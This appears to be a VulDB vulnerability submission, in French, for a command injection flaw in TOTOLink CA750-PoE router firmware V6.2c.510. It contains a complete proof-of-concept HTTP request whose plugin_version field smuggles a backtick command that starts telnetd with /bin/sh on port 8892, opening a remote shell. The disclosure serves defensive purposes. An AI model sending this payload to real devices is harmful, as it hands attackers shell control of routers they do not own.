| Titre | TOTOLink CA750-PoE V6.2c.510 Command Injection |
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| Description | We found an Command Injection vulnerability in TOTOLink router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.In setUnloadUserData function, plugin_version is directly passed by the attacker, so we can control the plugin_version to attack the OS.
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.33
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Origin: http://192.168.0.33
Connection: keep-alive
Referer: http://192.168.0.33/left.asp
Cookie: SESSION_ID=2:1777257833:2
{"topicurl":"setting/setUnloadUserData","plugin_version":"`telnetd -l /bin/sh -p 8892`"} |
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| La source | ⚠️ https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_53/53.md |
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| Utilisateur | Buoy_yes (UID 97629) |
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| Soumission | 27/04/2026 08:28 (il y a 1 mois) |
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| Modérer | 25/05/2026 17:09 (28 days later) |
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| Statut | Accepté |
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| Entrée VulDB | 365515 [Totolink CA750-PoE 6.2c.510 Setting /cgi-bin/cstecgi.cgi setUnloadUserData plugin_version élévation de privilèges] |
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| Points | 20 |
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